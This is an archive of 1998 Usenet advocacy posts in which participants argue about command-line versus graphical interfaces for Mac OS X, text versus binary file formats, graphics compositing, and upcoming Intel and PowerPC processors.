Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Thu, 10 Sep 1998 19:47:51 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35F87337.D69A6436@nstar.net>
References: <heaney-0509981648590001@24.0.246.137> <id_est-1009980135420001@192.168.1.3> <6t98k3$d <35F835F3.909C3E2A@ericsson.com> <6t9eqq$gjr@newsb.netnews.att.com>
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NNTP-Posting-Date: 11 Sep 1998 00:49:38 GMT
gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
>
> Michael Peck <Michael.Peck@ericsson.com> wrote:
> >
> >So if I want to kill all processes of a certain type using the 'grep'
> >filter and the 'awk' filter, I would do this...how?
>
> If the requirement is to use "grep" and "awk" then you may be SOL.
> However, just like you can view documents in a folder as a list,
> sorted by various criteria, and can view the hierarchy of nested
> folders, etc., and select subsets therefrom for various manipulations,
> one could imagine a similar view of processes displayed that
> enable one to manipulate processes, or process groups, etc.
> i.e. Finder -> Process Finder.
Yes, but could I then pipe that data to some other filter?
Let me quickly say that I *really* think that this sort of thing can be
done in a GUI. I also think that it *should* be done in a GUI. But the
GUI is in such a state of infancy that I cannot believe more has not
been done, considering the significant potential that lies untapped.
With this in mind, I find it totally detrimental to forward progress
that so many people are calling for the elimination of what is the
single complex, standardized interface that affords all users a way
forward into greater productivity. Someday, I have great hopes that we
will obsolete the CLI; even so, it has not yet happened, and I believe
that the CLI serves as the greatest thorn in the side of those who would
settle for what has so far been accomplished.
My argument comes not simply from an attitude that says "well, I like
the CLI, so everyone else screw off". I deeply believe that without the
CLI we will have lost an irreplacable warehouse of concepts and ideas
and needs that have enriched computing from its earliest days.
MJP
From: gregorylo@sympatico.ca (Gregory Lo)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Message-ID: <gregorylo-1009982215030001@cpu2522.adsl.bellglobal.com>
References: <slrn6v628v.jan.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <B21882EA-3A2A@206.165.43.166> <Eyz29G.8L0@T-FCN.Net> <gregorylo-0809982056350001@cpu2522.adsl.bellglobal.com> <Ez0tuH.DuH@T-FCN.Net> <gregorylo-0909982313490001@cpu2522.adsl.bellglobal.com> <Ez2p40.BF6@T-FCN.Net>
Date: Fri, 11 Sep 1998 02:14:57 GMT
NNTP-Posting-Date: Thu, 10 Sep 1998 22:14:57 EDT
Organization: Bell Solutions
In article <Ez2p40.BF6@T-FCN.Net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
> If it's not corrupted, what if that's the problem? Then you're sunk. And
>a resource editor does little for non-resource based files, like, say,
>FileMaker Pro.
I've done my share of poring through streams of data trying to figure out
what's going on. In some ways, this helps track down errors in memory
(struct alignment stuff, byte ordering stuff).
>a) how does the file work on other platforms? (it doesn't)
Sure, just pick a standard format and byte ordering. Network traffic has
a standard ordering. Multimedia files don't normally break by magic when
you bring them onto another platform. Just pick a convention and go with
it (or be flexible and handle many - e.g. different EOL conventions in
text files)
>b) what happens if the structures change? (ir breaks)
It happens. This is a totally separate matter. The definition of how a
text-based format is structured could also change. Unless you've planned
for change (ignoring minor syntax errors due to new tags, etc.) then
you're just as out of luck. Of course, you can also make your binary
structures and handlers equally robust.
>c) how do you debug it? ("decompile" it with other tools)
With knowledge of the structure of the data you don't even need to
"decompile". If it doesn't appear the way it should, then there's
something wrong. You debug it by looking at it, the same way you look at
data structures in memory with a debugger (even source level debuggers).
Maybe it's just me; maybe I just have less trouble than other programmers
with this.
Some data, like digitized sound (not synthesized), makes "debugging" a
little more difficult, whether you use a binary format or human-readable
format. I don't doubt, though, that there are people out there who really
can identify what a big bunch of coefficients (in a text file or binary
file) would sound like as a reconstructed sound waveform. Lesser minds
like myself would have to write/use some sort of tool to "decompile" the
data and listen to the result.
>d) how do you modify it in saved form? (you can't)
Sure you can. You can write customized editors, or glide through with a
hex editor, manipulating bytes and words at a time. Of course, if you
want your plain end-users to do this, then a human-readable format is
definitely better. No argument there.
Unless you want to keep your data files encrypted. :)
> etc. Key/value pairing solves these issues, all of them if you want to.
>For instance we added a new field to one of our objects a while back, but all
>of our documents had been saved without it. No problem, I just opened the
>file and typed it in. I could have automated it with the various Unix (or
>AppleScript) tools. I could not have done this on a binary file easily, if
>at all.
That's great. The keys and values can be fixed bit-width integer values
or bit-patterns. Open up your file in a hex editor and just type in your
new data - should insert at the appropriate place, and if your data is
structured in an easily extensible way, then you have the same effect.
This, too, can be automated with various UNIX tools.
> Ahhh, this is a performance issue. I'll agree with you completely there,
>it does take more time to parse a text file than a binary file.
Here, slightly better performance is achieved by trading some of the ease
by which a human manipulates the raw data for something more efficient for
a machine to parse. A human-readable format reverses this trade-off.
Well, I'm all for using either one; whichever I feel is appropriate for
the situation or is easiest for me to use. At a certain level of
abstraction, the difference is moot.
GLo
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Date: 10 Sep 98 15:11:19 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B21DD682-B005@206.165.43.189>
References: <Ez2qB4.BxE@T-FCN.Net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
Maury Markowitz <maury@remove_this.istar.ca> said:
> Well I haven't looked to hard at it, but from what I can tell this is
>exactly what the NSCompositing system does. Maybe it doesn't do _this_
>(per
>pixel convolutions based on use defined functions) now, but again I see no
>reason to upset the whole cart when it appears what's needed is nothing
>more
>than another def in the compsotiting mode enum, or better yet, a function
>pointer. For instance the composite functionality already has "odd"
>features
>like lightening and darkening, as well as a "highlighting" effect (and the
>alpha). These ops are all post-applied and the cache during composition
as
>far as I can tell - the image is rendered offscreen then composited.
Hmmm...
What GX does is to apply a color transform to the source, a second to the
destination, then combine the two pixels with transfer modes defined
seperately for each color channel and apply a 3rd color transform to the
result (the composite). There's some extra goodies, such as the ability to
swap the position of the source and destination colors in the pipeline or
limit the color range for each color channel.
It sounds to me like you'd have to split the NSCompositing system into
three stages to achieve the same result. It isn't that important for
vectors, but for bitmaps, doing multiple passes and compositing off-screen
would be time-consuming and potentially take up lots of memory (GX's scheme
can work with any-sized bitmap source image, even those defined as being
disk-cached, without taking up any more memory, as far as I can tell).
By the way, I don't think that "convolution" is the correct term. All GX is
doing is a simple color transform involving the color components of a
single-pixel. Convolution involves averaging surrounding pixel-values. I
guess if you define the neighborhood of the convolution as being 1 pixel,
then it IS a convolution, but only trivially. Copying would be a
convolution in that case.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 10 Sep 1998 17:32:23 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6t92f7$fhs@newsb.netnews.att.com>
References: <heaney-0509981648590001@24.0.246.137> <35F6D06C.562D8CEA@ericsson.com> <6t6te6$cpb@newsb.netnews.att.com> <35F702AF.BA9E9097@ericsson.com>
Originator: gupta@tlctest
Michael Peck <Michael.Peck@ericsson.com> wrote:
>Yeah, I know that's a popular attitude. There's nothing *wrong* with it,
>except that it assumes that computers are actually a technological
>maidservant rather than a tool. I'd prefer that a computer be optimized
>for maximum impact on my work. The attitude you describe places the
>emphasis on maximum comfort. Hey, it's up to you what kind of computer
>you use. I'll try not to draw any conclusions regarding your
>productivity.
I would consider the computer to be optimized for maximum impact on my work,
if it adapts to me [to the extent that is technologically possible],
rather than the other way around. It has to do with learning curves,
the fact that I don't work in isolation, and the easier something is
to teach, the faster I can get someone else to do it.
>It's aesthetics, plain and simple. I know housewives who, before
>marriage, wrote JCL on mainframes. Nowadays they complain about how
>complex GUIs are. When you're acclimated to a certain environment, you
>grow to believe that nothing else is adequate. It hits everyone: it hits
>Windows users, it hits Unix geeks, it especially hits MacOS users. In
>one way or another, everybody grows to think that their particular
>environment is exclusively correct.
No, I have colleagues who use a UNIX CLI rather than NT, but nevertheless
have to ask for help for what I would consider relatively simple things.
When I was in graduate school, all we had was vt100 terminals hooked up to a
SUN server; there was nothing else to be acclimated to. I had to help
many very smart people with their CLIs.
>The only way to combat this is aggressive pursuit of change. Most people
>don't like change, so there you have it.
The physicists I worked with wanted to think about physics,
not about CLIs and computers. The aggressive pursuit of change for its
own sake is mighty stupid.
>When I worked in manufacturing I worked alongside blue-collar men who
>could build complex dies and write CNC code and memorize the exact
>layout of all 36 tools in the machine at any one time. None of these
>people could use Windows; all of them claimed home computers were too
>complex. I was the "smart kid", though if I'd gone anywhere near their
>equipment I would probably have killed myself.
>
>I don't buy the "it's too difficult" excuse for a single minute.
OK.
>
>Of course this is true. It still has nothing to do with something being
>"too" difficult. Mathematics is intensely boring for me, and I really
>hate it. I have a terrible time retaining mathematics skills, and have
>to keep linear algebra and calculus textbooks near my desk so that I can
>write a single line of 3D graphics code. I'm always getting terms and
>symbols mixed up. I have a hard time with long division. But I do it
>anyway because I care about being effective at what I do.
Well, I have the same attitude towards people who consider mathematics
boring as you seem to have towards people who don't like CLIs.
Rather, I used to have that attitude. Consider that a lot of people
put up with CLIs for the same reason that you put up with mathematics.
They, fortunately, do have a choice -- CLIs are not essential, even to
computing; but mathematics is at the foundations of the sciences.
>
>> And there is more intrinsic value,
>> in my opinion, in understanding ideas in mathematics or physics, than
>> knowing by-heart a ton of CLI commands.
>
>So what? Memorizing commands wasn't the point.
Having only so many hours to live, and having only so many productive hours,
what would you rather do ? Master a CLI ? For most people, the answer is NO.
>
>> Someone who doesn't use or want
>> the CLI simply has another set of interesting things to do; it is not
>> a matter of laziness.
>
>That might be true, it might not. I don't buy the blanket
>generalization. If this were really true, you'd see far fewer people
>making excuses for how "ugly" and "outdated" CLIs are, among a million
>others.
Most CLIs are outdated and ugly. Surely nobody buys Windows 98 because
there is DOS in it ? The UNIX CLIs carry a lot of old baggage; surely,
a CLI designed from scratch, with the hindsight of experience would be
much cleaner.
-arun gupta
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: 10 Sep 1998 17:40:43 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6t92ur$fin@newsb.netnews.att.com>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <6stdr0$919$1@msunews.cl.msu.edu> <6svjjn$28f@newsb.netnews.att.com> <6t795i$58t$2@msunews.cl.msu.edu>
Originator: gupta@tlctest
<spammers@ruin.the.internet.channelu.com> wrote:
>> In a world where adding Carbon to the mix and renaming it MacOS X
>> was seen as the death of the Yellow Box and Rhapsody; and where
>> Apple already has a reputation of abrupt stomach-churning swerves,
>> I hope Apple considers all your excellent suggestions after making
>> sure MacOS X is delivered on time. Maybe the future is Linux,
>> but do you think Apple can survive yet another change in direction ?
>>
>
>Hey arun,
>
> I'm not sure what direction your indicating. But I would ask
>whether Apple can survive long term if the continue with a proprietary
>OS (in fact 2 of them), and Proprietary non x86 compatible hardware.
> [snip]
Simply, that Apple cannot really afford to change directions yet again;
or rather, let it be perceived to have changed directions.
E.g, if Apple does enter the x86 market, it has to do so in a manner
that does not lead to the idea that the PowerPC is "dead".
-arun gupta
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mobile Pentium II 300 MHz
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy
Date: 10 Sep 1998 17:51:59 GMT
Organization: University of Maryland, College Park
Message-ID: <6t93jv$rfn$1@hecate.umd.edu>
References: <6t6ruf$co8@newsb.netnews.att.com> <joe.ragosta-0909982049400001@elk102.dol.net> <6t78hh$jc1$1@morgoth.sfu.ca> <stone-1009980110020001@rc-pm3-1-24.enetis.net> <01bddcb5$d9f44ea0$7072fe8c@watts.67.acs.ohio-state.edu> <keyes-ya02408000R1009980913380001@news>
Tom Keyes (keyes@chem.bu.edu) wrote:
: In article <01bddcb5$d9f44ea0$7072fe8c@watts.67.acs.ohio-state.edu>,
: "Steve" <nospam@nospam!.kom> wrote:
: > Kevin Stone <stone@stoneentertainment.com> wrote in article
: > <stone-1009980110020001@rc-pm3-1-24.enetis.net>...
: > What Intel must be asking them selves right now is, "When
: > > does the hurting stop?". :)
: > >
: > Why would Intel be asking that when they sell 10 or more x86 chips for
: > every PPC chip?
: Because it's not where you are now but where you're headed that matters.
: Intel has been on top for some time but their position is starting to look
: shaky, especially with the merced fiasco and the advances in PPC.
Intel has been hurt by AMD and Cyrix on the low end in the past year.
PPC is tied with MacOS, and doesn't compete with Intel's offerings.
You make a choice of MacOS/Windows, then you buy a box to run your software.
: --
: Tom Keyes, Theoretical/Computational Chemist
: Chemistry Department, Boston University, Boston MA 02215
: http://chem.bu.edu/~keyes
From: spam@spam.mil (Rick Tan)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mobile Pentium II 300 MHz
Date: Thu, 10 Sep 1998 10:51:24 -0700
Organization: ACI
Message-ID: <spam-1009981051240001@tanalma.apple.com>
References: <6t6ruf$co8@newsb.netnews.att.com> <joe.ragosta-0909982049400001@elk102.dol.net> <6t78hh$jc1$1@morgoth.sfu.ca> <stone-1009980110020001@rc-pm3-1-24.enetis.net> <01bddcb5$d9f44ea0$7072fe8c@watts.67.acs.ohio-state.edu> <keyes-ya02408000R1009980913380001@news> <01bddcc0$5d4b7620$7072fe8c@watts.67.acs.ohio-state.edu>
In article <01bddcc0$5d4b7620$7072fe8c@watts.67.acs.ohio-state.edu>,
"Steve" <nospam@nospam!.kom> wrote:
> I don't think that Merced can be called a "fiasco" yet. It's delayed of
> course, but nobody really knows how good it (and the following series of
> processors) will be when it/they finally come out. If it's as good as
> Intel and HP claim, the PPC will be blown away. On the other hand, it
> could be a total failure. My guess is it will be a good processor, but
> will take a number of years to realize its full potential. If it was only
> Intel working on IA-64, I might be a little more pessimistic. However, I
> think that HP's knowledge and expertise should be a big help (If you think
> the G3 has good performance considering its processor speed, check out the
> PA-RISC running at only 236 Mhz).
True, the PA-RISC is a good processor. But you must also look at the cost
for that performance. If performance were the only criteria, we'd all be
using Alphas and DEC would be king.
From: "Wayne Fellows" <wfellows@*stop_spam*earthlink.net>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: 10 Sep 98 22:14:09 +0000
Organization: EarthLink Network, Inc.
Message-ID: <B21DFFB6-2CB89C@153.36.241.186>
References: <35f981c1.4716408@news.alt.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.earthlink.net/comp.sys.mac.advocacy,
nntp://news.earthlink.net/comp.sys.next.advocacy
On Wed, Sep 9, 1998 1:34 PM, vapor <mailto:antwun@yahoo.com> wrote:
>>Since IBM supposedly has a PPC OS/2 distribution, I would love to see it
>>come to market. I would probably become an OS/2 user.
>Interesting, I haven't heard about this. The problem is, Jobs would
>never let this system become available from Mac users. I wonder if IBM
>is considering marketing PPC based OS/2 boxes aimed at the home
>market?
He wouldn't have a choice, anyone can market an OS for the Mac. All the
info nescessary is available to the public.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 11 Sep 1998 03:14:44 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6ta4j5$raq@news1.panix.com>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3nal$124$2@nnrp02.primenet.com> <heaney-0809981533040001@24.0.246.137> <6t42o6$puq$1@nnrp03.primenet.com> <heaney-0809982244000001@24.0.246.137> <6t68ia$b2c$1@nnrp03.primenet.com> <heaney-0909981627150001@24.0.246.137> <35F6F4F8.F3327219@ericsson.com> <heaney-0909982200140001@24.0.246.137> <gregorylo-1009980122540001@cpu2522.adsl.bellglobal.com> <6t984m$aeb$1@nnrp3.snfc21.pbi.net>
On Thu, 10 Sep 1998 12:05:25 -0700, William Edward Woody
<woody@alumni.caltech.edu> wrote:
>The problem is you can't hide the CLI.
echo "Terminal.App" | cat >> .hidden
(This assumes that the user is not in unix expert mode)
> The CLI is just an application,
>like any other application, and can be fired up by double-clicking on
>it's icon in the Finder.
Why can't some Apps only be useable if the person is logged in as root
or Admin or poweruser?
>One thing I guess you could do is simply not ship a CLI application
>with MacOS X Server. But I suspect Apple *will* ship one, just in an
>"Optional Tools":"Miscellaneous Stuff":"Other" folder somewhere...
Or they could just rename it "Telnet.App" and tell everyone it is
for connecting to Unix hosts.
From: sal@panix.com (Sal Denaro)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: 11 Sep 1998 03:14:46 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6ta4j6$raq@news1.panix.com>
References: <macghod-0609981221240001@sdn-ar-001casbarp298.dialsprint.net> <B2187B86-2132B9@153.36.240.74> <joe.ragosta-0609982205020001@elk66.dol.net> <6t46ui$t3v$1@fir.prod.itd.earthlink.net> <qXtJ1.3902$2s.3810070@newsfeed.slurp.net> <6t7l39$11t@news1.panix.com> <8%QJ1.680$ML1.733743@newsfeed.slurp.net>
On Thu, 10 Sep 1998 14:03:48 GMT, Dan <dan@knowspaam.com> wrote:
>Sal Denaro wrote in message <6t7l39$11t@news1.panix.com>...
>>1) If you remove Explorer as the shell, you can only have one copy of
>>Explorer.exe running.
>Not true. If your running NT, all you have to do is modify these registry
>settings:
<clip>
I stand corrected.
>>3) Some apps fail to run. (Strangly IE sometimes works without Explorer)
>No problems thus far.
VC++ 5.0 would not run correctly. I get errors on startup and then the
program bombs out on me.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 11 Sep 1998 03:14:47 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6ta4j7$raq@news1.panix.com>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3nal$124$2@nnrp02.primenet.com> <heaney-0809981533040001@24.0.246.137> <35F5888B.AE0C62FB@ericsson.com> <6t7l35$11t@news1.panix.com> <35F76C2D.69F42A67@nstar.net>
On Thu, 10 Sep 1998 01:05:33 -0500, Michael J. Peck <mjpeck@nstar.net> wrote:
>Sal Denaro wrote:
>> Any reason why that Tcl/TK gui wouldn't be useful on non-mac systems?
>None at all,
That was my point.
>> IIRC, Think Pascal let me build CLI style Apps under MacOS 6.0x on my SE/30.
>> I see no reason why swig, perl or anything else couldn't be run this way.
>Yes, my THINK C 4.0 let me do the same thing by wrapping the program in
>a "Console" window.
IIRC, early versions of MacPGP did this.
>Moreover, the simple fact
>that the program ran in a little text window did nothing for the program
>whatsoever except to require less work in creating an interface.
True.
> As I
>said above, swig is a filter, not a display application. How would THINK
>Pascal help you to pipe data into swig, or quickly run swig on a file in
>your current working directory (a concept not present in MacOS anyway)?
I've seen things like this done in AppleScript. While not a standard CLI,
it would let a user do what you listed. A user would drop a file onto an
AS that would either control the swig tcl/tk app, or call up the console
mode version and perform whatever actions are described.
While this is hardly perfect, it is possible.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: CLI vs GUI holywars! (Was Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?))
Date: 11 Sep 1998 03:16:17 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6ta4m1$rbf@news1.panix.com>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3nal$124$2@nnrp02.primenet.com> <heaney-0809981533040001@24.0.246.137> <6t42o6$puq$1@nnrp03.primenet.com> <heaney-0809982244000001@24.0.246.137> <35F66E55.58EB106@nstar.net> <heaney-0909981615420001@24.0.246.137> <35F6FEE8.9D090CC3@ericsson.com> <6t7798$5l$1@nnrp3.snfc21.pbi.net> <35F767A9.F72D95C@nstar.net>
On Thu, 10 Sep 1998 00:46:17 -0500,
Michael J. Peck <mjpeck@nstar.net> wrote:
> Has anyone ever heard of a CLI shell that supported
>'undo' actions?
SQL consoles have a "rollback" command. I see no reason (save common sense and
good taste) why a shell like system could not be set up to do the same.
%start trans 1
%ls -la |sort > xyzzy (if xyzzy exists, back it up to xyzzy.trans1.$PID)
%commit trans 1 (All backup files removed)
-or-
%rollback (... or "undo", all backups are restored in the reverse that they
are created)
It might be painfully slow and awkward to use, but it can be done.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 11 Sep 1998 03:16:19 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6ta4m3$rbf@news1.panix.com>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3mup$124$1@nnrp02.primenet.com> <6t3qeq$1nr$1@nnrp02.primenet.com> <heaney-0809981619320001@24.0.246.137> <6t45bu$529$1@nnrp02.primenet.com> <6t7lkd$19n@news1.panix.com> <id_est-1009980135420001@192.168.1.3> <6t98k3$dfs$1@nnrp3.snfc21.pbi.net> <35F835F3.909C3E2A@ericsson.com> <heaney-1009982019280001@24.0.246.137> <35F87520.6EA871AE@nstar.net>
On Thu, 10 Sep 1998 19:56:00 -0500, Michael J. Peck <mjpeck@nstar.net> wrote:
>John Heaney wrote:
>> Why does
>> Apple need to ship it to every single user when the distinction of the
>> MacOS from everything else is its ease of use via the GUI? What possible
>> motive would they have?
>Chuck Swiger said that it is important to him to have a capable GUI and
>a capable CLI.
Chuck Swiger is not a normal user. While I am sure that Chuck wants a CLI,
I doubt that he wants to put a CLI in front of John and Mary six pack.
Chuck, if I am wrong please correct me.
>The CLI is the right tool for a vast number of jobs to which most users
>have not been introduced for the simple fact that so many people hold
>this catholic opinion, saying "the GUI has replaced the CLI".
I have never had a user ask me for a CLI version of an App that was
available in a GUI version, but I have gotten asked for GUI versions
of CLI programs.
I have _never_ had an end user ask me for a CLI App. I have _never_ had
ab end user _ever_ ask me to show them how to use a CLI when a GUI version
was available.
As much as I think Apple should provide a CLI, I doubt that more than 1%
of users will even care if it exists.
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mobile Pentium II 300 MHz
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy
Date: 10 Sep 1998 18:16:32 GMT
Organization: University of Maryland, College Park
Message-ID: <6t9520$rfn$2@hecate.umd.edu>
References: <6t6ruf$co8@newsb.netnews.att.com> <joe.ragosta-0909982049400001@elk102.dol.net> <6t78hh$jc1$1@morgoth.sfu.ca> <stone-1009980110020001@rc-pm3-1-24.enetis.net> <01bddcb5$d9f44ea0$7072fe8c@watts.67.acs.ohio-state.edu> <keyes-ya02408000R1009980913380001@news> <01bddcc0$5d4b7620$7072fe8c@watts.67.acs.ohio-state.edu> <joe.ragosta-1009981016020001@wil49.dol.net>
Joe Ragosta (joe.ragosta@dol.net) wrote:
: "Steve" <nospam@nospam!.kom> wrote:
: >Tom Keyes <keyes@chem.bu.edu> wrote in article
: >> "Steve" <nospam@nospam!.kom> wrote:
: >>
: >> > Kevin Stone <stone@stoneentertainment.com> wrote in article
: >> > <stone-1009980110020001@rc-pm3-1-24.enetis.net>...
: >> > What Intel must be asking them selves right now is, "When
: >> > > does the hurting stop?". :)
: >> > >
: >> > Why would Intel be asking that when they sell 10 or more x86 chips for
: >> > every PPC chip?
: >>
: >> Because it's not where you are now but where you're headed that matters.
: >> Intel has been on top for some time but their position is starting to
: >look
: >> shaky, especially with the merced fiasco and the advances in PPC.
: >>
: >
: >
: >I don't think that Merced can be called a "fiasco" yet. It's delayed of
: >course, but nobody really knows how good it (and the following series of
: >processors) will be when it/they finally come out. If it's as good as
: I don't know about that. It was originally scheduled for 1999. Then 2000.
: Now, InfoWorld says that the first version that will be any good will be
: 2001.
: >Intel and HP claim, the PPC will be blown away. On the other hand, it
: Not true. The rumored performance of the Merced chip isn't that far ahead
: of the Power3 chip set. Given the things that are planned for PPC, it's
: pretty hard to reach that conclusion.
This is somewhat true. Merced/McKinley's immediate competition will be
Power3 and 21264 or 21364. Not the desktop PPC stuff. 3 -5 years down
the raod after relase, this might change.
: BTW, will SPEC take advantage of AltiVec?
Don't think so. Maybe 1 or 2 algorithms will be sped up. Although
Altivec will require explicit OS support, and I'm not sure that IBM
will put it in AIX just yet, since it doesn't debelieve in Altivec for
the markets it is targetting. We'll have to wait and see on this one.
: >could be a total failure. My guess is it will be a good processor, but
: >will take a number of years to realize its full potential. If it was only
: >Intel working on IA-64, I might be a little more pessimistic. However, I
: >think that HP's knowledge and expertise should be a big help (If you think
: >the G3 has good performance considering its processor speed, check out the
: >PA-RISC running at only 236 Mhz).
: --
: Regards,
: Joe Ragosta
: See the Complete Macintosh Page at:
: http://www.taylor-design.com/cMacindex.html
From: gregorylo@sympatico.ca (Gregory Lo)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Message-ID: <gregorylo-1009982331490001@cpu2522.adsl.bellglobal.com>
References: <slrn6v628v.jan.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <B21882EA-3A2A@206.165.43.166> <Eyz29G.8L0@T-FCN.Net> <gregorylo-0809982056350001@cpu2522.adsl.bellglobal.com> <Ez0tuH.DuH@T-FCN.Net> <gregorylo-0909982313490001@cpu2522.adsl.bellglobal.com> <6t9j56$f29$1@news.mxol.com>
Date: Fri, 11 Sep 1998 03:31:45 GMT
NNTP-Posting-Date: Thu, 10 Sep 1998 23:31:45 EDT
Organization: Bell Solutions
In article <6t9j56$f29$1@news.mxol.com>, "Charles W. Swiger"
<chuck@codefab.com> wrote:
>For example, it is easier to localize an application for a new language
by using ResEdit, or
>by adding string entries to a text file in a .lproj?
For this, I would say ResEdit. since the resource fork of an application
is effectively a separate data file the localization changes can be made
directly to a single executable without recompiling or linking anything.
Basically there's little difference between the two techniques, except
that a resource editor provides a specialized GUI to your localizers (who
may be non-programmers) for this sort of thing.
>Is it easier to generate and modify test data in the property list format
or in binary? Heck,
>most developers don't manage to create binary formats capable of dealing
with arbitrarily
>nested free-form data....
Many developers just muddle through some sort of formal education and then
land a job in this field because they've completed x buzzword courses and
have a piece of vellum some others don't. I'm not saying everyone is like
this, but surely a great deal of people in this forum have had some sort
of experience with the legions of "green" programmers churned out by
postsecondary institutions.
>However, I believe that a properly extensible file format can be done if
you >make the effort,
Yes, many developers just don't make the effort, or are just incompetent.
>and that something like Word 5.0 _should_ have been able to read almost
all of a Word 6.0 or
>Word 97 document. All of the upwardly compatible protocols I can think
of off-hand are
>human-readable text based-- things like HTTP, (E)SMTP, HTML.
QuickTime movies are one exception I can think of.
>The complexity of using property lists under Yellow Box is not O(N),
where N is size.
Hmm.. I don't actually know much about property lists under YB and how
they are implemented so I can't commen, but I could easily believe this.
>>Okay, two more examples: HTML documents, and binary graphics file
>>formats. It's incredibly easy for a human to write HTML documents or read
>>and parse arbitrary HTML documents.
>
>Normal people ("non-computer types") do not regard arbitrary HTML
documents as incredibly easy
>to write or parse. Heck, I've been working with the web and doing some HTML
Could be worse. Can't get all that much easier without getting the
computer to do more of the work, masking whatever the underlying format
may be..
>> And, it's possible to represent a complex graphic image (say a digitized
>> photograph of a complex scene) with a very descriptive text-based
format, but man,
>> those things are big!
>
>Take a look at Jef Pozanker's PGM/PPM stuff.
Interesting. Certainly very portable. :)
